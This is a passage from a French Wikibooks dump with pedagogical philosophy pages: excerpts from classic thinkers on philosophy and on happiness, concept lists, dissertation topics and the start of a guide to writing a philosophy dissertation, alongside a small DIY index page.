nécessaires à tout philosophe qui commence son oeuvre, méditations qui seules peuvent donner naissance à une philosophie. HUSSERL, Méditations cartésiennes (1929), trad. G. Peiffer et E. Lévinas, Ed. Vrin, 1947, p.15. BERGSON Notre intelligence, telle que l'évolution de la vie l'a modelée, a pour fonction essentielle d'éclairer notre conduite, de préparer notre action sur les choses, de prévoir, pour une situation donnée, les événements favorables ou défavorables qui pourront s'ensuivre. Elle isole donc instinctivement, dans une situation, ce qui ressemble au déjà connu : elle cherche le même, afin de pouvoir appliquer son principe que "le même produit le même". En cela consiste la prévision de l'avenir par le sens commun. La science porte cette opération au plus haut degré possible d'exactitude et de précision, mais elle n'en altère pas le caractère essentiel. Comme la connaissance usuelle, la science ne retient des choses que l'aspect "répétition". Si le tout est original, elle s'arrange pour l'analyser en éléments ou en aspects qui soient "à peu près" la reproduction du passé. Elle ne peut opérer que sur ce qui est censé se répéter, c'est-à-dire sur ce qui est soustrait, par hypothèse, à l'action de la durée. Ce qu'il y a d'irréductible et d'irréversible dans les moments successifs d'une histoire lui échappe. Il faut, pour se représenter cette irréductibilité et cette irréversibilité, rompre avec des habitudes scientifiques qui répondent aux exigences fondamentales de la pensée, faire violence à l'esprit, remonter la pente naturelle de l'intelligence. Mais là est précisément le rôle de la philosophie. GRAMSCI Il faut détruire le préjugé très répandu que la philosophie est quelque chose de très difficile du fait qu'elle est l'activité intellectuelle propre d'une catégorie déterminée de savants spécialisés ou de philosophes professionnels ayant un système philosophique. Il faut donc démontrer en tout premier lieu que tous les hommes sont "philosophes", en définissant les limites et les caractères de cette "philosophie spontanée>, propre à tout le monde >, c'est-à-dire de la philosophie qui est contenue : 1. dans le langage même, qui est un ensemble de notions et de concepts déterminés et non certes exclusivement de mots grammaticalement vides de contenu ; 2. dans le sens commun et le bon sens ; 3. dans la religion populaire et donc également dans tout le système de croyances, de superstitions, opinions, façons de voir et d'agir qui sont ramassées généralement dans ce qu'on appelle le folklore. Une fois démontré que tout le monde est philosophe, chacun à sa manière, il est vrai, et de façon inconsciente - car même dans la manifestation la plus humble d'une quelconque activité intellectuelle, le "langage" par exemple, est contenue une conception du monde déterminée -, on passe au second moment, qui est celui de la critique et de la conscience, c'est-à-dire à la question : est-il préférable de " penser " sans en avoir une conscience critique, sans souci d'unité et au gré des circonstances, autrement dit de "participer " à une conception du monde " imposée mécaniquement par le milieu ambiant ; ce qui revient à dire par un de ces nombreux groupes sociaux dans lesquels tout homme est automatiquement entraîné dès son entrée dans le monde conscient (et qui peut être son village ou sa province, avoir ses racines dans la paroisse et dans l' "activité intellectuelle" du curé ou de l'ancêtre patriarcal dont la "sagesse" fait loi, de la bonne femme qui a hérité de la science des sorcières ou du petit intellectuel aigri dans sa propre sottise et son impuissance à agir) ; ou bien est-il préférable d'élaborer sa propre conception du monde consciemment et suivant une attitude critique et par conséquent, en liaison avec le travail de son propre cerveau, choisir sa propre sphère d'activité, participer activement à la production de l'histoire du monde, être à soi-même son propre guide au lieu d'accepter, passivement et de l'extérieur, une empreinte imposée à sa propre personnalité ? A.GRAMSCI, Introduction à l'étude de la philosophie et du matérialisme historique, Editions sociales, 1977 RUSSEL La valeur de la philosophie doit en réalité surtout résider dans son caractère incertain même. Celui qui n'a aucune teinture de philosophie traverse l'existence, prisonnier de préjugés dérivés du sens commun, des croyances habituelles à son temps ou à son pays et de convictions qui ont grandi en lui sans la coopération ni le consentement de la raison. Pour un tel individu, le monde tend à devenir défini, fini, évident ; les objets ordinaires ne font pas naître de questions et les possibilités peu familières sont rejetées avec mépris. Dès que nous commençons à penser conformément à la philosophie, au contraire, nous voyons, comme il a été dit dans nos premiers chapitres, que même les choses les plus ordinaires de la vie quotidienne posent des problèmes auxquels on ne trouve que des réponses très incomplètes. La philosophie, bien qu'elle ne soit pas en mesure de nous donner avec certitude la réponse aux doutes qui nous assiègent, peut tout de même suggérer des possibilités qui élargissent le champ de notre pensée et délivre celle-ci de la tyrannie de l'habitude. Tout en ébranlant notre certitude concernant la nature de ce qui nous entoure, elle accroît énormément notre connaissance d'une réalité possible et différente ; elle fait disparaître le dogmatisme quelque peu arrogant de ceux qui n'ont jamais parcouru la région du doute libérateur, et elle garde intact notre sentiment d'émerveillement en nous faisant voir les choses familières sous un aspect nouveau. Problèmes de philosophie, Petite Bibliothèque Payot, 1968, pp. 182-183. SARTRE La Philosophie apparaît à certains comme un milieu homogène : les pensées y naissent, y meurent, les systèmes s'y édifient pour s'y écrouler. D'autres la tiennent pour une certaine attitude qu'il serait toujours en notre liberté d'adopter. D'autres pour un secteur déterminé de la culture. A nos yeux, la Philosophie n'est pas ; sous quelque forme qu'on la considère, cette ombre de la science, cette éminence grise de l'humanité n'est qu'une abstraction hypostasiée. En fait, il y a des philosophies. Ou plutôt - car vous n'en trouverez jamais plus d'une à la fois qui soit vivante - en certaines circonstances bien définies, une philosophie se constitue pour donner son expression au mouvement général de la société ; et tant qu'elle vit, c'est elle qui sert de milieu culturel aux contemporains. Cet objet déconcertant se présente à la fois sous des aspects profondément distincts dont il opère constamment l'unification. Une philosophie, quand elle est dans sa pleine virulence, ne se présente jamais comme une chose inerte, comme l'unité passive et déjà terminée du Savoir ; née du mouvement social, elle est mouvement elle-même et mord sur l'avenir : cette totalisation concrète est en même temps le projet abstrait de poursuivre l'unification jusqu'à ses dernières limites ; sous cet aspect, la philosophie se caractérise comme une méthode d'investigation et d'explication ; la confiance qu'elle met en elle-même et dans son développement futur ne fait que reproduire les certitudes de la classe qui la porte. Critique de la raison dialectique (1960), t. I, Ed. Gallimard, 1985, pp. 15-16 === Bibliographie pour commencer === *''[[Wikisource:Apologie de Socrate|Apologie de Socrate]]'', [[w:Platon|Platon]] *''Phédon'', Platon *''La Métaphysique'', livre A, [[w:Aristote|Aristote]] *''Vie et pensée des philosophes illustres'', [[w:Diogène Laërce|Diogène Laërce]] [<small>[http://www.nimispauci.com/index.php#Laerce Lire en ligne]</small>] *''[[Wikisource:Discours de la méthode|Discours de la méthode]]'', Descartes *''[[Wikisource:Traité de la réforme de l'entendement|Traité de la réforme de l'entendement]]'', Spinoza (niveau difficile) *Préface de la ''[[Wikisource:Critique de la Raison pure|Critique de la Raison pure]]'', Kant *''Eléments de philosophie'', Alain === Outils de travail === *''Histoire de la philosophie'', Emile Bréhier == Voir aussi == *La philosophie sur [http://fr.wikipedia.org/wiki/Philosophie Wikipédia] Bricolage 207 20402 2005-09-01T16:29:10Z 82.121.209.136 Typo lien [[Catégorie:Bricolage]] Ce manuel regroupe les modes d'emploi pour les petits bricolages courants. ---- '''Dans la maison''' *[[Construire sa maison]] *[[Installer une parabole satellite]] <br/> '''Le vélo''' *[[Changer un patin de bicyclette]] *[[Poser une rustine]] *[[Dévoiler une roue]] '''La voiture''' * L'entretien des [[Batterie d'accumulateurs|Batteries d'accumulateurs]] Philosophie/Repères 208 46094 2006-06-27T18:55:27Z Guillaumito 46 [[Repères (philosophie)]] déplacé vers [[Philosophie/Repères]]: Convention de nommage {{SommairePhilo}} *[[Absolu/relatif]] *[[Abstrait/concret]] *[[Acte/Puissance]] *[[Analyse/synthèse]] *[[Cause/fin]] *[[Contingent/nécessaire/possible]] *[[Croire/savoir]] *[[Essentiel/accidentel]] *[[Expliquer/comprendre]] *[[En fait/en droit]] *[[Formel/matériel]] *[[Genre/espèce/individu]] *[[Idéal/réel]] *[[Identité/égalité/différence]] *[[Intuitif/discursif]] *[[Légal/légitime]] *[[Médiat/immédiat]] *[[Objectif/subjectif]] *[[Obligation/contrainte]] *[[Origine/fondement]] *[[Persuader/convaicre]] *[[Ressemblance/analogie]] *[[Principe/conséquence]] *[[En théorie/en pratique]] *[[Transcendant/immanent]] *[[Universel/général/particulier/singulier]] Repères 209 46412 2006-06-28T20:58:58Z Guillaumito 46 correction double redirection #REDIRECT [[Philosophie/Repères]] Philosophie/Bonheur 211 46092 2006-06-27T18:55:05Z Guillaumito 46 [[Bonheur]] déplacé vers [[Philosophie/Bonheur]]: Convention de nommage {{SommairePhilo}} Le '''bonheur''' (étymologiquement la bonne chance) est un état durable de plénitude et de satisfaction, état agréable et équilibré de l'esprit et du corps, d'où la souffrance, l'inquiétude et le trouble sont absents. C'est une notion des plus difficiles à déterminer : *dans la mesure où le bonheur est un état empirique, soumis aux aléas de la fortune et aux changements imprévisibles de l'humeur, donc un état [[temps|temporel]] ; en tant que tel, le bonheur ne saurait se reduire à un concept. *Il y a de fortes chances pour que chacun ait sa propre estimation de ce que c'est qu'être heureux. On peut tenter de distinguer quatre sortes de satisfactions liées au bonheur : #La satisfaction du désir : désirs liés au corps, recherche des biens matériels, etc. #La satisfaction du devoir : accomplissement du bien. #La satisfaction du vrai : désir de connaissance. #La satisfaction du beau : contemplation esthétique. *Ce qui suppose également une satisfaction de certains besoins. *Ces idées sont assez vagues, et soulignent surtout l'état de manque de l'existence humaine. Le bonheur semble en fait tirer une partie de son sens de son contraire, car, comme le remarque [[Sénèque le Jeune|Sénèque]], peu d'hommes savent l'atteindre en fait ; les hommes savent surtout faire leur propre malheur. Ce qui peut se formaliser par le raisonnement suivant : #Si le bonheur est un état de satisfaction durable et entier, #et si l'homme est un être doué de raison et affecté sensiblement, #alors le bonheur n'est qu'un rêve de l'imagination. Il est de ce fait plus facile d'étudier le malheur que le bonheur. Le bonheur se distingue du [[plaisir]], par la durée et parce que le plaisir concerne ce qui est agréable, et de la joie, en tant que cette dernière est un état plus dynamique que le bonheur. La félicité est un bonheur parfait. == Genèse == L'être humain, en tant qu'animal, dispose de deux moyens primitifs pour déterminer les rapports qu'il entretient avec le monde : le [[plaisir]] et la [[douleur]]. Par ces moyens, nous jugeons de l'utile, de l'agréable et de la souffrance et du nuisible. Avant de percevoir le monde comme objet d'analyse, nous le sentons donc comme un lieu de vie agréable ou menaçant. Nos émotions et nos passions, mis en forme par les valeurs de notre civilisation, découlent de ce rapport à partir duquel nous extrapolons ou imaginons l'idée de bonheur et l'idée de [[malheur]]. == Types philosophiques == * Eudémonisme : le bonheur est la finalité de l'action. * Hédonisme : le plaisir est la fin de l'action. * Epicurisme : la suppression de la souffrance suffit au bonheur. * Utilitarisme : le bonheur du plus grand nombre. ==La recherche du bonheur== === L'[[eudémonisme]] antique === Les philosophes de l'[[Antiquité]] ont très tôt considéré que le bonheur est la fin ultime de la [[philosophie]] ; la recherche de la vérité et de la sagesse est surtout un moyen pour approcher le bonheur. Cette conception, qui fait du bonheur le ''souverain bien'', s'appelle l'eudémonisme. ==== Bonheur de la vie contemplative ==== *[[Aristote]] : le bonheur est le souverain bien. Il consiste, pour chaque être, à remplir la fonction naturelle qui lui est propre. Cet accomplissement s'accompagne de plaisir, car le plaisir naît de la perfection de l'activité, ''« perfection qui s’ajoute par surcroît comme à la fleur de l’âge s’ajoute la beauté. »'' La question qui se pose alors pour Aristote est de savoir quelle est la fonction propre à l'homme, la finalité qui lui procurera le bonheur. Cette fonction est selon lui la [[raison]], l'activité de l'intellect. Mais chacun peut trouver du plaisir dans certaines activités particulières où sa nature se réalise pleinement : :« ''Ceux qui trouvent du plaisir à s’exercer à la géométrie deviennent meilleurs géomètres... et il en va de même de ceux qui aiment la musique, l’architecture et les autres arts : ceux là progressent dans l’ouvrage qui leur est propre qui éprouvent du plaisir à l’exercer.'' » (''Ethique à Nicomaque''). Le bonheur est donc l'expression d'une excellence, i.e. d'une vertu. Néanmoins le bonheur suprême reste celui qui accompagne l'activité de la raison, ce qui en fait un idéal quasi-surhumain : :« ''ce n'est pas en tant qu'homme qu'on vivra de cette façon, mais en tant que quelque élément divin est présent en nous'' » (''Ethique à Nicomaque'', X,7). ==== Sérénité de l'âme et du corps ==== *L'[[épicure|épicurisme]] : [[Épicure]] place le bonheur dans les plaisirs simples et la fuite des souffrances :« ''le plaisir est le commencement et la fin de la vie heureuse.'' » Comme les actions humaines amènent souvent des plaisirs et des souffrances, la philosophie d'Épicure le conduit à une casuistique des plaisirs et à un comportement qui favorise l'équilibre psychique et corporel &minus; contrairement à ce que croient de nombreuses personnes qui font d'[[Epicure]] un débauché : :« ''Lors donc que nous disons que le plaisir est la fin, nous ne parlons point des plaisirs des prodigues et des plaisirs de sensualité, comme le croient ceux qui nous ignorent, ou s'opposent à nous, ou nous entendent mal, mais nous parlons de l'absence de douleur physique et de l'ataraxie de l'âme.'' » ([[Épicure]], ''Lettre à Ménécée''). Voir l'article [[Désir]]. *[[Stoïcisme]] : pour le stoïcien, le bonheur consiste à rester maître de soi quels que soient les événements. Cette maîtrise, qui est une vertu, est la parfaite paix de l'âme de celui qui se conforme à la nature. Ainsi, selon Epictète : ::« ''Tu espères que tu seras heureux dès que tu auras obtenu ce que tu désires. Tu te trompes. Tu ne seras pas plus tôt en possession, que tu auras mêmes inquiétudes, mêmes chagrins, mêmes dégoûts, mêmes craintes, mêmes désirs. Le bonheur ne consiste point à acquérir et à jouir, mais à ne pas désirer. Car il consiste à être libre.'' » :Ainsi, au contraire de l'épicurisme, le bonheur découle de la vertu. *[[Hédonisme]] antique == Mise en cause de l'idéal du bonheur == ===Le [[pessimisme]]=== On peut faire remarquer que la recherche du bonheur a un point de départ assez pessimiste : nous voulons le bonheur que nous n'avons pas, ou/et nous voulons fuir ce qui nous nuit. Il n'est donc pas étonnant que le bonheur complet soit si souvent lié à l'idée de perfection, attribut d'un dieu. Par conséquent le bonheur n'existe que sous la forme d'un but idéal et inaccessible. Dans les cas les plus extrêmes, par exemple pour ceux qui croient en un dieu parfait, le vrai bonheur n'existe que sous la forme d'une promesse : le bonheur n'est pas humain, il appartient à un être parfait, ou à la partie la plus divine de notre être, partie qui ne peut se satisfaire des réalités contingentes, illusoires. Le désir de l'homme serait d'être heureux, mais la satisfaction des aspirations humaines appartient à un autre que l'homme : au sage surhumain pour les Stoiciens, à l'âme immortelle dans certaines religions. Ce pessimisme est parfois radicalisé, comme on le voit chez ce philosophe désespéré, [[Hegesias]], "ministre de la mort", qui enseigna que la vie ne vaut rien, qu'il faut mourir pour être heureux. Sa doctrine (aboutissement du [[Cyrénaïsme]]) entraîna de nombreux suicides... Il y a enfin des philosophes qui remettent en cause le principe même du bonheur. Le raisonnement est le suivant : les moralistes estiment que les hommes font leur propre malheur ; mais ces hommes cherchent ce qu'ils croient leur être profitable. Or, ce qu'ils croient tel, ce sont les honneurs, les richesses, le pouvoir, le plaisir. Si l'on s'en tient à leurs comportements réels, les hommes ne cherchent pas le bonheur, mais la ''puissance''. Cette quête peut être brutale et sanguinaire ; elle peut être aussi heureusement spirituelle : recherche du savoir, création artistique, quête religieuse. En bref, c'est la quête d'une haute culture, qui exige de grands sacrifices, et qui n'est pas toujours compatible avec le bonheur. On passe ainsi du problème du bonheur, peut-être un faux problème, au problème de notre destination, qu'on la conçoive d'un point de vue naturel ou d'un point de vue surnaturel. Cette thèse est soutenue par [[Kant]] : pour lui le bonheur existe, mais secondairement, non comme récompense ; et par [[Nietzsche]] , pour qui le bonheur n'est que la conséquence de la force et de sa maîtrise spirituelle. Le bonheur n'est donc pas un but. === [[Angoisse]], [[existence]] et [[temps]] === Si le [[désir]] est un élément essentiel de l'[[être humain]], alors le bonheur est un état toujours espéré, jamais atteint, car le désir est un manque, la marque de l'imperfection de notre [[existence]], le signe de notre finitude. === L'[[ennui]], le vide, l'insignifiance === *[[Pascal]] : ennui et divertissement. Le bonheur est un état stable, durable ; or, Pascal observe que les hommes sont incapables de rester en repos : :''Quand je me suis mis quelquefois à considérer les diverses agitations des hommes, et les périls et les peines où ils s'exposent, dans la cour, dans la guerre, d'où naissent tant de querelles, de passions, d'entreprises hardies et souvent mauvaises, etc., j'ai dit souvent que tout le malheur des hommes vient d'une seule chose, qui est de ne savoir pas demeurer en repos dans une chambre.''<br> Mais quand le repos est atteint péniblement, l'homme devient pour lui-même un enfer : :''Rien n'est si insupportable à l'homme que d'être dans un plein repos, sans passions, sans affaires, sans divertissement, sans application. Il sent alors son néant, son abandon, son insuffisance, sa dépendance, son impuissance, son vide. Incontinent il sortira du fond de son âme, l'ennui, la noirceur, la tristesse, le chagrin, le dépit, le desespoir.''<br> Ainsi le bonheur n'appartient-il pas à la condition humaine, ni dans le repos, ni dans l'activité : :''On doit donc reconnaître, que l'homme est si malheureux, qu'il s'ennuierait même sans aucune cause étrangère d'ennui par le propre état de sa condition naturelle : et il est avec cela si vain et si léger, qu'étant plein de mille causes essentielles d'ennui, la moindre bagatelle suffit pour le divertir. De sorte qu'à le considérer sérieusement, il est encore plus à plaindre de ce qu'il se peut divertir à des choses si frivoles et si basses, que de ce qu'il s'afflige de ses misères effectives ; et ses divertissements sont infiniment moins raisonnables que son ennui.'' *[[Schopenhauer]] === La [[mort]] === La mort, comme pensée de la disparition du moi, montre l'impossibilité d'un bonheur durable et d'une satisfaction entière. == Morale du devoir ou morale du bonheur ? == L'opposition du bonheur et du devoir est un lieu commun de la philosophie morale. La difficulté de cette opposition naît d'une conception [[dualisme|dualiste]] de l'[[homme]] : d'une part, l'homme en tant qu'[[animal]], qui trouve son bonheur dans la satisfaction de sa sensibilité ; d'autre part, l'homme en tant qu'être doué de raison, et qui doit obéir à ses commandements sans tenir compte de ses [[désir]]s. *[[Kant]] : le [[devoir]] implique la mise à l'écart des déterminations de notre sensibilité, ce qui veut dire qu'un devoir ne peut être accompli pour des motifs empiriques. Les déterminations de la sensibilité sont en effet contingentes, dépendent de notre bonne ou de notre mauvaise fortune. Le devoir, quant à lui, n'est accompli que pour lui-même, on ne peut le faire dépendre de notre humeur.<br> :Kant admet néanmoins que l'on ne saurait être moral si l'on est trop malheureux ; ce qui est pratiquement l'aveux que l'on ne fait le bien que dans le bonheur (ce point doit être particulièrement souligné, car on fait souvent de Kant un rigoriste). == Points de vue psychologiques == == Bonheur et modernité == *Les sociétés de consommation : **l'idéal publicitaire du bonheur. *Individualisme et hédonisme == Sujets de dissertation == *Faut-il philosopher pour bien vivre ? *Le bonheur est-il un idéal inaccessible ? *Existe-t-il des critères du bonheur? *Le bonheur consiste-t-il à faire tout ce qui nous fait plaisir ? *Le bonheur est-il une somme de plaisirs ? *Y a-t-il une différence de degré ou de nature entre le bonheur et le plaisir ? *Le bonheur est-il un simple hasard ? *Le bonheur peut-il être le résultat d’une pratique ou d’un art de vivre ? *Le bonheur est-il une affaire de politique ? == Textes d'étude == EPICURE Le plaisir est le commencement et la fin d'une vie bienheureuse. Le plaisir est, en effet, considéré par nous comme le premier des biens naturels, c'est lui qui nous fait accepter ou fuir les choses, c'est à lui que nous aboutissons, en prenant la sensibilité comme critère du bien. Or, puisque le plaisir est le premier des biens naturels, il s'ensuit que nous n'acceptons pas le premier plaisir venu, mais qu'en certains cas, nous méprisons de nombreux plaisirs, quand ils ont pour conséquence une peine plus grande. D'un autre côté, il y a de nombreuses souffrances que nous estimons préférables aux plaisirs, quand elles entraînent pour nous un plus grand plaisir. Tout plaisir, dans la mesure où il s'accorde avec notre nature, est donc un bien, mais tout plaisir n'est pas cependant nécessairement souhaitable. De même, toute douleur est un mal, mais pourtant toute douleur n'est pas nécessairement à fuir. Il reste que c'est par une sage considération de l'avantage et du désagrément qu'il procure, que chaque plaisir doit être apprécié. En effet, en certains cas, nous traitons le bien comme un mal, et en d'autres, le mal comme un bien. Ne dépendre que de soi-même est, à notre avis, un grand bien, mais il ne s'ensuit pas qu'il faille toujours se contenter de peu. Simplement, quand l'abondance nous fait défaut, nous devons pouvoir nous contenter de peu, étant bien persuadés que ceux-là jouissent le mieux de la richesse qui en ont le moins besoin, et que tout ce qui est naturel s'obtient aisément, tandis que ce qui ne l'est pas s'obtient malaisément. Les mets les plus simples apportent autant de plaisir que la table la plus richement servie, quand est absente la souffrance que cause le besoin, et du pain et de l'eau procurent le plaisir le plus vif, quand on les mange après une longue privation. L'habitude d'une vie simple et modeste est donc une bonne façon de soigner sa santé, et rend l'homme par surcroît courageux pour supporter les tâches qu'il doit nécessairement remplir dans la vie. Elle lui permet encore de mieux goûter une vie opulente, à l'occasion, et l'affermit contre les revers de la fortune. Par conséquent, lorsque nous disons que le plaisir est le souverain bien, nous ne parlons pas des plaisirs des débauchés, ni des jouissances sensuelles, comme le prétendent quelques ignorants qui nous combattent et défigurent notre pensée. Nous parlons de l'absence de souffrance physique et de l'absence de trouble moral. Car ce ne sont ni les beuveries et les banquets continuels, ni la jouissance que l'on tire de la fréquentation des mignons et des femmes, ni la joie que donnent les poissons et les viandes dont on charge les tables somptueuses, qui procurent une vie heureuse, mais des habitudes raisonnables et sobres, une raison cherchant sans cesse des causes légitimes de choix ou d'aversion, et rejetant les opinions susceptibles d'apporter à l'âme le plus grand trouble. Lettre à Ménécée SENEQUE La nature, en effet, est le guide qu'il faut suivre; c'est elle que la raison observe et consulte. C'est donc une même chose que vivre heureux et vivre selon la nature. Ce que c'est, je vais le développer : cela consiste à conserver, avec soin et sans effroi, les avantages du corps et ce qui convient à notre nature, comme choses données pour un jour et prêtes à fuir; à ne pas nous y soumettre en esclaves, et à ne pas nous laisser posséder par les objets étrangers; à reléguer tout ce qui plaît au corps, tout ce qui lui survient accidentellement, comme dans les camps on place à l'écart les auxiliaires et les troupes légères. Que ces objets soient des esclaves, et non des maîtres; c'est uniquement ainsi qu'ils sont utiles à l'esprit. Que l'homme de cœur soit incorruptible en présence des choses du dehors, qu'il soit inexpugnable, et qu'il n'attache de prix qu'à se posséder lui-même; que d'une âme confiante, que préparé à l'une et à l'autre fortune, il soit l'artisan de sa vie. Que chez lui la confiance n'existe pas sans le savoir, ni le savoir sans la fermeté; que ses résolutions tiennent, une fois qu'elles sont prises, et que dans ses décrets il n'y ait pas de rature. On comprend, quand même je ne l'ajouterais pas, qu'un tel homme sera posé, qu'il sera rangé, qu'en cela aussi, agissant avec aménité, il sera grand. Chez lui, la véritable raison sera greffée sur les sens; elle y puisera ses éléments; et en effet, elle n'a pas d'autre point d'appui d'où elle s'élance, d'où elle prenne son essor vers la vérité, afin de revenir en elle-même. Le monde aussi, qui embrasse tout, ce dieu qui régit l'univers, tend à se répandre au dehors, et néanmoins, de toutes parts il se ramène en soi pour s'y concentrer. Que notre esprit fasse de même, lorsqu'en suivant les sens qui lui sont propres, il se sera étendu par leur moyen vers les objets extérieurs; qu'il soit maître de ces objets et de lui; qu'alors, pour ainsi dire, il enchaîne le souverain bien. De là résultera une force, une puissance unique, d'accord avec elle-même; ainsi naîtra cette raison certaine, qui n'admet ni contrariété, ni hésitation, dans ses jugements et dans ses conceptions, non plus que dans sa persuasion. Cette raison, lorsqu'elle s'est ajustée, accordée avec ses parties et, pour ainsi dire, mise à l'unisson, a touché au souverain bien. En effet, il ne reste rien de tortueux, rien de glissant rien sur quoi elle puisse broncher ou chanceler. Elle fera tout de sa propre autorité : pour elle, point d'accident inopiné; au contraire, toutes ses actions viendront à bien, avec aisance et promptitude, sans que l'agent tergiverse; car les retardements et l'hésitation dénotent le trouble et l'inconstance. Ainsi, vous pouvez hardiment déclarer que le souverain bien est l'harmonie de l'âme. En effet, les vertus seront nécessairement là où sera l'accord, où sera l'unité; la discordance est pour les vices. De la vie heureuse (vers 58 après J.-C.), chap. VIII DESCARTES Je me suis quelquefois proposé un doute : savoir s'il est mieux d'être gai et content, en imaginant les biens qu'on possède être plus grands et plus estimables qu'ils ne sont, et ignorant ou ne s'arrêtant pas à considérer ceux qui manquent, que d'avoir plus de considération et de savoir, pour connaître la juste valeur des uns et des autres, et qu'on devienne plus triste. Si je pensais que le souverain bien fût la joie, je ne douterais point qu'on ne dût tâcher de se rendre joyeux, à quelque prix que ce pût être, et j'approuverais la brutalité de ceux qui noient leurs déplaisirs dans le vin, ou les étourdissent avec du pétun. Mais je distingue entre le souverain bien, qui consiste en l'exercice de la vertu, ou,ce qui est le même, en la possession de tous les biens dont l'acquisition dépend de notre libre arbitre, et la satisfaction d'esprit qui suit de cette acquisition. C'est pourquoi, voyant que c'est une plus grande perfection de connaître la vérité, encore même qu'elle soit à notre désavantage, que l'ignorer, j'avoue qu'il vaut mieux être moins gai et avoir plus de connaissance. Aussi n'est-ce pas toujours lorsqu'on a le plus de gaieté qu'on a l'esprit plus satisfait; au contraire, les grandes joies sont ordinairement mornes et sérieuses, et il n'y a que les médiocres et passagères, qui soient accompagnées du ris. Ainsi je n'approuve point qu'on tâche à se tromper, en se repaissant de fausses imaginations; car tout le plaisir qui en revient ne peut toucher que la superficie de l'âme, laquelle sent cependant une amertume intérieure, en s'apercevant qu'ils sont faux. Et encore qu'il pourrait arriver qu'elle fût si continuellement divertie ailleurs que jamais elle ne s'en aperçût, on ne jouirait pas pour cela de la béatitude dont il est question, pour ce qu'elle doit dépendre de notre conduite, et cela ne viendrait que de la fortune. Lettre à Élisabeth (6 octobre 1645). PASCAL Divertissement. — Quand je m'y suis mis quelquefois à considérer les diverses agitations des hommes et les périls et les peines où ils s'exposent, dans la cour, dans la guerre, d'où naissent tant de querelles, de passions, d'entreprises hardies et souvent mauvaises, etc., j'ai découvert que tout le malheur des hommes vient d'une seule chose, qui est de ne savoir pas demeurer en repos, dans une chambre. Un homme qui a assez de bien pour vivre, s'il savait demeurer chez soi avec plaisir, n'en sortirait pas pour aller sur la mer ou au siège d'une place. On n'achètera une charge à l'armée si cher, que parce qu'on trouverait insupportable de ne bouger de la ville; et on ne recherche les conversations et les divertissements des jeux que parce qu'on ne peut demeurer chez soi avec plaisir. Mais quand j'ai pensé de plus près, et qu'après avoir trouvé la cause de tous nos malheurs, j'ai voulu en découvrir la raison, j'ai trouvé qu'il y en a une bien effective, qui consiste dans le malheur naturel de notre condition faible et mortelle, et si misérable, que rien ne peut nous consoler, lorsque nous y pensons de près. Quelque condition qu'on se figure, si l'on assemble tous les biens qui peuvent nous appartenir, la royauté est le plus beau poste du monde; et cependant, qu'on s'en imagine [un roi] accompagné de toutes les satisfactions qui peuvent le toucher, s'il est sans divertissement, et qu'on le laisse considérer et faire réflexion sur ce qu'il est, cette félicité languissante ne le soutiendra point, il tombera par nécessité dans les vues qui le menacent, des révoltes qui peuvent arriver, et enfin de la mort et des maladies qui sont inévitables; de sorte que, s'il est sans ce qu'on appelle divertissement, le voilà malheureux, et plus malheureux que le moindre de ses sujets, qui joue et qui se divertit. De là vient que le jeu et la conversation des femmes, la guerre, les grands emplois sont si recherchés. Ce n'est pas qu'il y ait en effet du bonheur, ni qu'on s'imagine que la vraie béatitude soit d'avoir l'argent qu'on peut gagner au jeu, ou dans le lièvre qu'on court : on n'en voudrait pas s'il était offert. Ce n'est pas cet usage mol et paisible, et qui nous laisse penser à notre malheureuse condition, qu'on recherche, ni les dangers de la guerre, ni la peine des emplois, mais c'est le tracas qui nous détourne d'y penser et nous divertit. Pensées (1670), fragment 139 NIETZSCHE Pour le plus petit comme pour le plus grand bonheur, il y a toujours une chose qui le crée : le pouvoir d'oublier, ou, pour m'exprimer en savant, la faculté de sentir, pendant que dure le bonheur, d'une façon non-historique. Celui qui ne sait pas se reposer sur le seuil du moment pour oublier tout le passé, celui qui ne se dresse point, comme un génie de victoire, sans vertige et sans crainte, ne saura jamais ce que c'est que le bonheur, et, ce qui est pire encore, il ne fera jamais rien qui puisse rendre heureux les autres. Imaginez l'exemple extrême : un homme qui ne posséderait pas du tout la faculté d'oublier, qui serait condamné à voir en toutes choses le devenir. Un tel homme ne croirait plus à sa propre essence, ne croirait plus en lui-même; tout s'écoulerait pour lui en points mouvants pour se perdre dans cette mer du devenir; en véritable élève d'Héraclite il finirait par ne plus oser lever un doigt. Toute action exige l'oubli, comme tout organisme a besoin, non seulement de lumière, mais encore d'obscurité. Un homme qui voudrait sentir d'une façon tout à fait historique ressemblerait à celui qui serait forcé de se priver de sommeil, ou bien à l'animal qui devrait continuer à vivre en ne faisant que ruminer, et ruminer toujours à nouveau. Donc il est impossible de vivre sans se souvenir, de vivre même heureux, à l'exemple de la bête, mais il est absolument impossible de vivre sans oublier. Ou bien, pour m'expliquer sur ce sujet d'une façon plus simple encore, il y a un degré d'insomnie, de rumination, de sens historique qui nuit à l'être vivant et finit par l'anéantir, qu'il s'agisse d'un homme, d'un peuple ou d'une civilisation. Considérations inactuelles, II (1874), § 1 == Bibliographie == *[[Platon]], ''Philèbe'' *[[Aristote]], ''Ethique à Nicomaque'' *[[Sénèque]], ''De la brièveté de la vie'' *[[Descartes]], ''Les Passions de l'âme'' *[[Kant]], ''Critique de la raison pratique'' == Vocabulaire == *[[Angoisse]] | [[Ataraxie]] | [[Désir]] | [[Devoir]] | [[égoïsme]] | [[Existence]] | [[Hédonisme]] | [[Individualisme]] | [[Morale]] | [[Plaisir]] | [[Sagesse]] | [[Vertu]] 54654 Dissertation (philosophie) 212 41797 2006-05-08T23:36:15Z Greudin 1 rv {{SommairePhilo}} La dissertation est l'exercice philosophique par excellence. Elle permet d'évaluer l'assimilation des connaissances par l'élève, et sa capacité à s'en servir pour une reflexion à la fois personnelle et rigoureuse. Ces deux aspects font que la dissertation ne se réduit pas à un simple exercice scolaire. De grands philosophes ont écrit des dissertations, qui sont aussi de grandes oeuvres. Mais on ne peut demander à un élève de produire de telles dissertations ; il est donc nécessaire de commencer par apprendre l'exercice de la dissertation en tant qu'exercice purement scolaire, et, dans ce but, il est bon de formuler des règles certes assez formelles, mais qui permettent de guider la reflexion, en lui donnant le plus de rigueur possible. Pour réussir une dissertation en philosophie, il faut tout d'abord savoir qu'il existe toujours plusieurs possibilités de construire une bonne argumentation et qu'il n'y a donc pas une méthode conduisant infailliblement à la réussite : il y a plusieurs bonnes méthodes parmi lesquelles le rédacteur doit choisir. Ce choix d'un plan se fait en fonction du traitement que l'on donne au sujet ; un bon choix exprime donc la compréhension, bonne ou mauvaise, du sujet. Mais s'il n'y a pas a priori de méthode applicable à tout sujet, il reste néanmoins possible de formuler certaines règles générales. == Forme générale d'une dissertation == *une dissertation de philosophie se divise en trois parties 